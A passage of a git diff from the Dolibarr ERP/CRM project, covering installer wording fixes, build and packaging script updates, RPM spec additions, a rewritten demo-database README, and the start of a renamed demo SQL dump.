Dolibarr + all required third party software like Apache, Mysql and PHP) on your computer. -ThisAssistantInstallOrUpgrade=WARNING: Using an ERP CRM installed on a local computer can be dangerous: if your computer break down, you can lose all your data. Do this if you are ready to manage backup yourself seriously. If not, use an installation in Saas instead (see https://saas.dolibarr.org). -IfYouHaveTechnicalKnowledge=Moreover, if you have technical knowledges and want to manage your Apache, Mysql and PHP yourself, you should not use this assistant and make a manual installation of Dolibarr on your existing server with Apache, Mysql and PHP. -ButIfYouLook=But if you look for an automatic setup on your local computer, you''re on the good way... -DoYouWantToStart=Do you want to start installation process ? +YouWillInstallDoliWamp=You will install DoliWamp (so Dolibarr plus all required third-party software like Apache, MySQL and PHP) on your computer. +ThisAssistantInstallOrUpgrade=WARNING: Using an ERP CRM installed on a local computer can be dangerous: if your computer breaks down, you can lose all your data. Do this if you are ready to manage backups yourself seriously. If not, use an installation in SaaS instead (see https://saas.dolibarr.org). +IfYouHaveTechnicalKnowledge=Moreover, if you have technical knowledge and want to manage Apache, MySQL and PHP yourself, you should not use this assistant and instead make a manual installation of Dolibarr on your existing server with Apache, MySQL and PHP. +ButIfYouLook=But if you are looking for an automatic setup on your local computer, you're on the right path... +DoYouWantToStart=Do you want to start the installation process? TechnicalParameters=Technical parameters -IfFirstInstall=If first install, please specify some technical parameters. If you don't understand, are not sure, or are doing an upgrade, just leave the default values. +IfFirstInstall=If this is the first install, please specify some technical parameters. If you don't understand, are not sure, or are doing an upgrade, just keep the default values. ; WARNING !!! STRINGS HERE MUST BE LOWER THAN 60 CHARACTERS -SMTPServer=SMTP server (your own or ISP SMTP server, first install only) : -ApachePort=Apache port (first install only, common choice is 80) : -MySqlPort=MySql port (first install only, common choice is 3306) : -MySqlPassword=MySql server and database password you want for root (first install only): +SMTPServer=SMTP server (your own or ISP SMTP server, first install only): +ApachePort=Apache port (first install only, common choice is 80): +MySqlPort=MySQL port (first install only, common choice is 3306): +MySqlPassword=MySQL server and database password you want for root (first install only): -FailedToDeleteLock=Failed to delete the file %1/www/dolibarr/install.lock. You can ignore warning but you may have to remove it manually later when asked. Click OK to continue... +FailedToDeleteLock=Failed to delete the file %1/www/dolibarr/install.lock. You can ignore this warning but you may have to remove the file manually later when asked. Click OK to continue... -PortAlreadyInUse=Port %1 seems to be already in use. You should cancel to go back and choose another value for %2 port. Cancel choice and choose another value ? +PortAlreadyInUse=Port %1 seems to already be in use. You should cancel to go back and choose another value for %2 port. Cancel choice and choose another value? -FirefoxDetected=Firefox has been detected on your computer. Would you like to use it as the default browser for Dolibarr ? -ChromeDetected=Chrome has been detected on your computer. Would you like to use it as the default browser for Dolibarr ? -MicrosoftEdgeDetected=Microsoft Edge has been detected on your computer. Would you like to use it as the default browser for Dolibarr ? -ChooseDefaultBrowser=Please choose your default browser (iexplore.exe, firefox.exe, chrome.exe, MicrosoftEdge.exe...). If you are not sure, just click Open : +FirefoxDetected=Firefox has been detected on your computer. Would you like to use it as the default browser for Dolibarr? +ChromeDetected=Chrome has been detected on your computer. Would you like to use it as the default browser for Dolibarr? +MicrosoftEdgeDetected=Microsoft Edge has been detected on your computer. Would you like to use it as the default browser for Dolibarr? +ChooseDefaultBrowser=Please choose your default browser (iexplore.exe, firefox.exe, chrome.exe, MicrosoftEdge.exe...). If you are not sure, just click Open: LaunchNow=Launch Dolibarr now -ProgramHasBeenRemoved=Dolibarr program files have been removed. However, all your data files are still in directory %1. You must remove this directory manually for a complete uninstall. +ProgramHasBeenRemoved=Dolibarr's program files have been removed. However, all your data files are still in directory %1. You must remove this directory manually for a complete uninstall. -DoliWampWillStartApacheMysql=DoliWamp installer will now start or restart Apache and Mysql, this may last from several seconds to one minute after this confirmation. Start to install or upgrade the web and database server required by Dolibarr ? +DoliWampWillStartApacheMysql=DoliWamp installer will now start or restart Apache and MySQL. This may take from several seconds to one minute. Start to install or upgrade the web and database server required by Dolibarr? -OldVersionFoundAndMoveInNew=An old database version has been found and moved to be used by new Dolibarr version -OldVersionFoundButFailedToMoveInNew=An old database version has been found but could not be moved to be used with new Dolibarr version +OldVersionFoundAndMoveInNew=An old database version has been found and moved to be used by the new Dolibarr version +OldVersionFoundButFailedToMoveInNew=An old database version has been found but could not be moved to be used with the new Dolibarr version -DLLMissing=Your Windows installation is missing The "Micrsoft Visual C++ Redistributable for Visual Studio 2012" component. Please install the 32-bit version (vcredist_x86.exe) first (you can find it at https://www.microsoft.com/en-us/download/) and restart DoliWamp installation/upgrade after. -ContinueAnyway=Continue anyway (install process may fails without this prerequisite) +DLLMissing=Your Windows installation is missing the "Microsoft Visual C++ Redistributable for Visual Studio 2012" component. Please install the 32-bit version (vcredist_x86.exe) first (you can find it at https://www.microsoft.com/en-us/download/) and restart DoliWamp installation/upgrade after. +ContinueAnyway=Continue anyway (install process may fail without this prerequisite) diff --git a/build/generate_filelist_xml.php b/build/generate_filelist_xml.php index 3d72ebe6739..5614b5323bd 100755 --- a/build/generate_filelist_xml.php +++ b/build/generate_filelist_xml.php @@ -46,6 +46,7 @@ require_once DOL_DOCUMENT_ROOT."/core/lib/files.lib.php"; $includecustom=0; $includeconstants=array(); +$buildzip=0; if (empty($argv[1])) { print "Usage: ".$script_file." release=autostable|auto[-mybuild]|x.y.z[-mybuild] [includecustom=1] [includeconstant=CC:MY_CONF_NAME:value] [buildzip=1]\n"; @@ -55,14 +56,27 @@ if (empty($argv[1])) { $i=0; +$result = array(); while ($i < $argc) { if (!empty($argv[$i])) { - parse_str($argv[$i]); // set all params $release, $includecustom, $includeconstant, $buildzip ... + parse_str($argv[$i], $result); // set all params $release, $includecustom, $includeconstant, $buildzip ... } - if (preg_match('/includeconstant=/', $argv[$i])) { - $tmp=explode(':', $includeconstant, 3); // $includeconstant has been set with previous parse_str() + if (!empty($result["release"])) { + $release = $result["release"]; + } + if (!empty($result["includecustom"])) { + $includecustom = $result["includecustom"]; + } + if (!empty($result["includeconstant"])) { + $includeconstants[$i] = $result["includeconstant"]; + } + if (!empty($result["buildzip"])) { + $buildzip=1; + } + if (preg_match('/includeconstant=/', strval($argv[$i]))) { + $tmp=explode(':', $result['includeconstant'], 3); // $includeconstant has been set with previous parse_str() if (count($tmp) != 3) { - print "Error: Bad parameter includeconstant=".$includeconstant."\n"; + print "Error: Bad parameter includeconstant=".$result['includeconstant'] ."\n"; exit -1; } $includeconstants[$tmp[0]][$tmp[1]] = $tmp[2]; @@ -71,7 +85,7 @@ while ($i < $argc) { } if (empty($release)) { - print "Error: Missing release paramater\n"; + print "Error: Missing release parameter\n"; print "Usage: ".$script_file." release=autostable|auto[-mybuild]|x.y.z[-mybuild] [includecustom=1] [includeconstant=CC:MY_CONF_NAME:value]\n"; exit -1; } diff --git a/build/makepack-dolibarr.pl b/build/makepack-dolibarr.pl index abf16cee764..f0433da142b 100755 --- a/build/makepack-dolibarr.pl +++ b/build/makepack-dolibarr.pl @@ -524,12 +524,13 @@ if ($nboftargetok) { $ret=`rm -fr $BUILDROOT/$PROJECT/dev/ansible`; $ret=`rm -fr $BUILDROOT/$PROJECT/dev/codesniffer`; $ret=`rm -fr $BUILDROOT/$PROJECT/dev/codetemplates`; - $ret=`rm -fr $BUILDROOT/$PROJECT/dev/dbmodel`; + $ret=`rm -fr $BUILDROOT/$PROJECT/dev/examples/ldap`; + $ret=`rm -fr $BUILDROOT/$PROJECT/dev/examples/zapier`; $ret=`rm -fr $BUILDROOT/$PROJECT/dev/initdata`; $ret=`rm -fr $BUILDROOT/$PROJECT/dev/initdemo`; - $ret=`rm -fr $BUILDROOT/$PROJECT/dev/iso-normes`; - $ret=`rm -fr $BUILDROOT/$PROJECT/dev/ldap`; - $ret=`rm -fr $BUILDROOT/$PROJECT/dev/licence`; + $ret=`rm -fr $BUILDROOT/$PROJECT/dev/resources/dbmodel`; + $ret=`rm -fr $BUILDROOT/$PROJECT/dev/resources/iso-normes`; + $ret=`rm -fr $BUILDROOT/$PROJECT/dev/resources/licence`; $ret=`rm -fr $BUILDROOT/$PROJECT/dev/mail`; $ret=`rm -fr $BUILDROOT/$PROJECT/dev/multitail`; $ret=`rm -fr $BUILDROOT/$PROJECT/dev/phpcheckstyle`; @@ -621,7 +622,6 @@ if ($nboftargetok) { $ret=`rm -fr $BUILDROOT/$PROJECT/htdocs/includes/nnnick/chartjs/scripts`; $ret=`rm -fr $BUILDROOT/$PROJECT/htdocs/includes/nnnick/chartjs/src`; $ret=`rm -fr $BUILDROOT/$PROJECT/htdocs/includes/nnnick/chartjs/test`; - $ret=`rm -fr $BUILDROOT/$PROJECT/htdocs/includes/nusoap/lib/Mail`; $ret=`rm -fr $BUILDROOT/$PROJECT/htdocs/includes/nusoap/samples`; $ret=`rm -fr $BUILDROOT/$PROJECT/htdocs/includes/php-iban/docs`; $ret=`rm -fr $BUILDROOT/$PROJECT/htdocs/includes/sabre/sabre/*/tests`; @@ -679,7 +679,7 @@ if ($nboftargetok) { mkdir($DESTI.'/standard'); if (-d $DESTI.'/standard') { $NEWDESTI=$DESTI.'/standard'; } } - + print "Remove target $FILENAMETGZ.tgz...\n"; unlink("$NEWDESTI/$FILENAMETGZ.tgz"); @@ -895,7 +895,7 @@ if ($nboftargetok) { $ret=`rm -fr $BUILDROOT/$PROJECT.tmp`; $ret=`rm -fr $BUILDROOT/$PROJECT-$MAJOR.$MINOR.$build`; - + print "Copy $BUILDROOT/$PROJECT to $BUILDROOT/$PROJECT.tmp\n"; $cmd="cp -pr \"$BUILDROOT/$PROJECT\" \"$BUILDROOT/$PROJECT.tmp\""; $ret=`$cmd`; @@ -1065,7 +1065,8 @@ if ($nboftargetok) { $ret=`mv $BUILDROOT/*_all.deb "$NEWDESTI/"`; $ret=`mv $BUILDROOT/*.dsc "$NEWDESTI/"`; $ret=`mv $BUILDROOT/*.orig.tar.gz "$NEWDESTI/"`; - $ret=`mv $BUILDROOT/*.debian.tar.xz "$NEWDESTI/"`; + #$ret=`mv $BUILDROOT/*.debian.tar.xz "$NEWDESTI/"`; # xz file is generated when build/debian/sources/option + $ret=`mv $BUILDROOT/*.debian.tar.gz "$NEWDESTI/"`; $ret=`mv $BUILDROOT/*.changes "$NEWDESTI/"`; next; } @@ -1147,7 +1148,8 @@ if ($nboftargetok) { "$DESTI/package_debian-ubuntu/${FILENAMEDEB}_all.deb"=>'Dolibarr installer for Debian-Ubuntu (DoliDeb)', "$DESTI/package_debian-ubuntu/${FILENAMEDEB}_amd64.changes"=>'none', # none means it won't be published on SF "$DESTI/package_debian-ubuntu/${FILENAMEDEB}.dsc"=>'none', # none means it won't be published on SF - "$DESTI/package_debian-ubuntu/${FILENAMEDEB}.debian.tar.xz"=>'none', # none means it won't be published on SF + #"$DESTI/package_debian-ubuntu/${FILENAMEDEB}.debian.tar.xz"=>'none', # none means it won't be published on SF + "$DESTI/package_debian-ubuntu/${FILENAMEDEB}.debian.tar.gz"=>'none', # none means it won't be published on SF "$DESTI/package_debian-ubuntu/${FILENAMEDEBSHORT}.orig.tar.gz"=>'none', # none means it won't be published on SF "$DESTI/package_windows/$FILENAMEEXEDOLIWAMP.exe"=>'Dolibarr installer for Windows (DoliWamp)', "$DESTI/standard/$FILENAMETGZ.tgz"=>'Dolibarr ERP-CRM', diff --git a/build/rpm/dolibarr_fedora.spec b/build/rpm/dolibarr_fedora.spec index c94863e8919..8d162573f05 100755 --- a/build/rpm/dolibarr_fedora.spec +++ b/build/rpm/dolibarr_fedora.spec @@ -164,6 +164,7 @@ done >>%{name}.lang %_datadir/dolibarr/htdocs/barcode %_datadir/dolibarr/htdocs/blockedlog %_datadir/dolibarr/htdocs/bookmarks +%_datadir/dolibarr/htdocs/bookcal %_datadir/dolibarr/htdocs/bom %_datadir/dolibarr/htdocs/categories %_datadir/dolibarr/htdocs/collab diff --git a/build/rpm/dolibarr_generic.spec b/build/rpm/dolibarr_generic.spec index 8e71713146e..9cb8b71984d 100755 --- a/build/rpm/dolibarr_generic.spec +++ b/build/rpm/dolibarr_generic.spec @@ -245,6 +245,7 @@ done >>%{name}.lang %_datadir/dolibarr/htdocs/barcode %_datadir/dolibarr/htdocs/blockedlog %_datadir/dolibarr/htdocs/bookmarks +%_datadir/dolibarr/htdocs/bookcal %_datadir/dolibarr/htdocs/bom %_datadir/dolibarr/htdocs/categories %_datadir/dolibarr/htdocs/collab diff --git a/build/rpm/dolibarr_mandriva.spec b/build/rpm/dolibarr_mandriva.spec index 5c8a8e39aae..11c4fead2db 100755 --- a/build/rpm/dolibarr_mandriva.spec +++ b/build/rpm/dolibarr_mandriva.spec @@ -162,6 +162,7 @@ done >>%{name}.lang %_datadir/dolibarr/htdocs/barcode %_datadir/dolibarr/htdocs/blockedlog %_datadir/dolibarr/htdocs/bookmarks +%_datadir/dolibarr/htdocs/bookcal %_datadir/dolibarr/htdocs/bom %_datadir/dolibarr/htdocs/categories %_datadir/dolibarr/htdocs/collab diff --git a/build/rpm/dolibarr_opensuse.spec b/build/rpm/dolibarr_opensuse.spec index ea79a50af58..912aa28f8e8 100755 --- a/build/rpm/dolibarr_opensuse.spec +++ b/build/rpm/dolibarr_opensuse.spec @@ -67,7 +67,7 @@ Programmo web, progettato per poter fornire solo ciò di cui hai bisogno ed essere facile da usare. -#---- prep +#---- prepo %prep %setup -q %patch0 -p0 -b .patch @@ -172,6 +172,7 @@ done >>%{name}.lang %_datadir/dolibarr/htdocs/barcode %_datadir/dolibarr/htdocs/blockedlog %_datadir/dolibarr/htdocs/bookmarks +%_datadir/dolibarr/htdocs/bookcal %_datadir/dolibarr/htdocs/bom %_datadir/dolibarr/htdocs/categories %_datadir/dolibarr/htdocs/collab diff --git a/build/tgz/tar_exclude.txt b/build/tgz/tar_exclude.txt index c590ca2154f..4a69b4e87dc 100644 --- a/build/tgz/tar_exclude.txt +++ b/build/tgz/tar_exclude.txt @@ -1,15 +1,17 @@ *~ .#* +.git +.gitignore +.scrutinizer.yml Thumbs.db build/exe build/html -dev/dbmodel -dev/fpdf +dev/examples/zapier dev/initdemo dev/initdata -dev/iso-normes -dev/licence -dev/load +dev/resources/dbmodel +dev/resources/iso-normes +dev/resources/licence htdocs/conf/conf.php htdocs/conf/conf.php.mysql htdocs/conf/conf.php.old diff --git a/dev/dolibarr_changes.txt b/dev/dolibarr_changes.txt index cbfecbbc19f..dd2ef0023de 100644 --- a/dev/dolibarr_changes.txt +++ b/dev/dolibarr_changes.txt @@ -209,6 +209,11 @@ with with foreach ($value[1] as $k => $v) { +* Fix by replacing + if ($res[0] == PDF_TYPE_OBJECT) +with + if (isset($res[0]) && $res[0] == PDF_TYPE_OBJECT) + JSGANTT: @@ -283,6 +288,9 @@ RESTLER: elseif (count($value) && isset($value[0]) && is_numeric($value[0])) +* Add CommentParser.php line 406 & 407 to remove a warning on api request in php 8.1 + empty($value[0]) ? null : + empty($value[1]) ? null : +With swagger 2 provided into /explorer: ---------------------------------------- diff --git a/dev/initdemo/README b/dev/initdemo/README deleted file mode 100644 index 5e0f610d82e..00000000000 --- a/dev/initdemo/README +++ /dev/null @@ -1,28 +0,0 @@ -README ------- - -Scripts in this directory can be used to reload or save a demo database. -Install of package "dialog" is required. - - -*** Init demo - -The script initdemo.sh will erase current database with data into mysqldump_dolibarr_x.y.z.sql and copy files into documents_demo into officiel document directory. - -Do a chmod 700 initdemo.sh -then run ./initdemo.sh to launch Graphic User Interface. - -After loading the demo files, admin login may be: -- admin / admin -or -- admin / adminadmin - - -*** Save demo - -The script savedemo.sh will save current database into a database dump file. - - -*** Update demo - -The goal of script updatedemo.php is to update dates into the demo data so samples are up to date. diff --git a/dev/initdemo/README.md b/dev/initdemo/README.md new file mode 100644 index 00000000000..ebaef2c6e76 --- /dev/null +++ b/dev/initdemo/README.md @@ -0,0 +1,32 @@ +README +====== + +Scripts in this directory can be used to reload or save a demo database. +Install of package "dialog" is required. + + +Init demo +------------- + +The script initdemo.sh will erase current database with data intodev/initdemo/mysqldump_dolibarr_x.y.z.sql and copy files into documents_demo into officiel document directory. + +Do a chmod 700 initdemo.sh +then run ./initdemo.sh to launch Graphic User Interface. + +After loading the demo files, admin login may be: +- admin / admin +or +- admin / adminadmin + + +Update demo +------------- + +The goal of script dev/initdemo/updatedemo.php is to update dates into the demo data so samples are up to date. + + +Save demo +------------- + +The script dev/initdemo.savedemo.sh will save current database into a database dump file. + diff --git a/dev/initdemo/mysqldump_dolibarr_16.0.0.sql b/dev/initdemo/mysqldump_dolibarr_17.0.0.sql similarity index 75% rename from dev/initdemo/mysqldump_dolibarr_16.0.0.sql rename to dev/initdemo/mysqldump_dolibarr_17.0.0.sql index 04bbc0288c3..4e2f622e7ee 100644 --- a/dev/initdemo/mysqldump_dolibarr_16.0.0.sql +++ b/dev/initdemo/mysqldump_dolibarr_17.0.0.sql @@ -1,8 +1,8 @@ --- MariaDB dump 10.19 Distrib 10.6.7-MariaDB, for debian-linux-gnu (x86_64) +-- MariaDB dump 10.19 Distrib 10.6.12-MariaDB, for debian-linux-gnu (x86_64) -- --- Host: localhost Database: dolibarr_16 +-- Host: localhost Database: dolibarr_17 -- ------------------------------------------------------ --- Server version 10.6.7-MariaDB-2ubuntu1 +-- Server version 10.6.12-MariaDB-0ubuntu0.22.04.1 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; @@ -27,19 +27,19 @@ CREATE TABLE `llx_accounting_account` ( `entity` int(11) NOT NULL DEFAULT 1, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_pcg_version` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `pcg_type` varchar(20) COLLATE utf8mb3_unicode_ci NOT NULL, - `account_number` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fk_pcg_version` varchar(32) NOT NULL, + `pcg_type` varchar(20) NOT NULL, + `account_number` varchar(20) DEFAULT NULL, `account_parent` int(11) DEFAULT 0, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `labelshort` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `labelshort` varchar(255) DEFAULT NULL, `fk_accounting_category` int(11) DEFAULT 0, `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, `reconcilable` tinyint(4) NOT NULL DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_accounting_account` (`account_number`,`entity`,`fk_pcg_version`), KEY `idx_accountingaccount_fk_pcg_version` (`fk_pcg_version`), @@ -55,7 +55,7 @@ CREATE TABLE `llx_accounting_account` ( LOCK TABLES `llx_accounting_account` WRITE; /*!40000 ALTER TABLE `llx_accounting_account` DISABLE KEYS */; -INSERT INTO `llx_accounting_account` VALUES (1,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','101',1401,'Capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(2,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','105',1401,'Ecarts de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(3,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','1061',1401,'Réserve légale',NULL,0,NULL,NULL,1,0,NULL,NULL),(4,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','1063',1401,'Réserves statutaires ou contractuelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(5,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','1064',1401,'Réserves réglementées',NULL,0,NULL,NULL,1,0,NULL,NULL),(6,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','1068',1401,'Autres réserves',NULL,0,NULL,NULL,1,0,NULL,NULL),(7,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','108',1401,'Compte de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(8,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','12',1401,'Résultat de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(9,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','145',1401,'Amortissements dérogatoires',NULL,0,NULL,NULL,1,0,NULL,NULL),(10,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','146',1401,'Provision spéciale de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(11,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','147',1401,'Plus-values réinvesties',NULL,0,NULL,NULL,1,0,NULL,NULL),(12,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','148',1401,'Autres provisions réglementées',NULL,0,NULL,NULL,1,0,NULL,NULL),(13,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','15',1401,'Provisions pour risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(14,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','16',1401,'Emprunts et dettes assimilees',NULL,0,NULL,NULL,1,0,NULL,NULL),(15,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','20',1402,'Immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(16,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','201',15,'Frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(17,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','206',15,'Droit au bail',NULL,0,NULL,NULL,1,0,NULL,NULL),(18,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','207',15,'Fonds commercial',NULL,0,NULL,NULL,1,0,NULL,NULL),(19,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','208',15,'Autres immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(20,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','21',1402,'Immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(21,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','23',1402,'Immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(22,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','27',1402,'Autres immobilisations financieres',NULL,0,NULL,NULL,1,0,NULL,NULL),(23,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','280',1402,'Amortissements des immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(24,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','281',1402,'Amortissements des immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(25,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','290',1402,'Provisions pour dépréciation des immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(26,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','291',1402,'Provisions pour dépréciation des immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(27,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','297',1402,'Provisions pour dépréciation des autres immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(28,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','31',1403,'Matieres premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(29,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','32',1403,'Autres approvisionnements',NULL,0,NULL,NULL,1,0,NULL,NULL),(30,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','33',1403,'En-cours de production de biens',NULL,0,NULL,NULL,1,0,NULL,NULL),(31,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','34',1403,'En-cours de production de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(32,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','35',1403,'Stocks de produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(33,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','37',1403,'Stocks de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(34,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','391',1403,'Provisions pour dépréciation des matières premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(35,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','392',1403,'Provisions pour dépréciation des autres approvisionnements',NULL,0,NULL,NULL,1,0,NULL,NULL),(36,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','393',1403,'Provisions pour dépréciation des en-cours de production de biens',NULL,0,NULL,NULL,1,0,NULL,NULL),(37,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','394',1403,'Provisions pour dépréciation des en-cours de production de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(38,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','395',1403,'Provisions pour dépréciation des stocks de produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(39,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','397',1403,'Provisions pour dépréciation des stocks de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(40,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','400',1404,'Fournisseurs et Comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(41,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','409',1404,'Fournisseurs débiteurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(42,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','410',1404,'Clients et Comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(43,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','419',1404,'Clients créditeurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(44,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','421',1404,'Personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(45,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','428',1404,'Personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(46,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','43',1404,'Sécurité sociale et autres organismes sociaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(47,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','444',1404,'Etat - impôts sur bénéfice',NULL,0,NULL,NULL,1,0,NULL,NULL),(48,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','445',1404,'Etat - Taxes sur chiffre affaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(49,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','447',1404,'Autres impôts, taxes et versements assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(50,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','45',1404,'Groupe et associes',NULL,0,NULL,NULL,1,0,NULL,NULL),(51,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','455',50,'Associés',NULL,0,NULL,NULL,1,0,NULL,NULL),(52,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','46',1404,'Débiteurs divers et créditeurs divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(53,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','47',1404,'Comptes transitoires ou d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(54,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','481',1404,'Charges à répartir sur plusieurs exercices',NULL,0,NULL,NULL,1,0,NULL,NULL),(55,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','486',1404,'Charges constatées d\'avance',NULL,0,NULL,NULL,1,0,NULL,NULL),(56,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','487',1404,'Produits constatés d\'avance',NULL,0,NULL,NULL,1,0,NULL,NULL),(57,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','491',1404,'Provisions pour dépréciation des comptes de clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(58,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','496',1404,'Provisions pour dépréciation des comptes de débiteurs divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(59,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','FINAN','50',1405,'Valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(60,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','FINAN','51',1405,'Banques, établissements financiers et assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(61,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','FINAN','53',1405,'Caisse',NULL,0,NULL,NULL,1,0,NULL,NULL),(62,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','FINAN','54',1405,'Régies d\'avance et accréditifs',NULL,0,NULL,NULL,1,0,NULL,NULL),(63,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','FINAN','58',1405,'Virements internes',NULL,0,NULL,NULL,1,0,NULL,NULL),(64,1,NULL,'2018-01-22 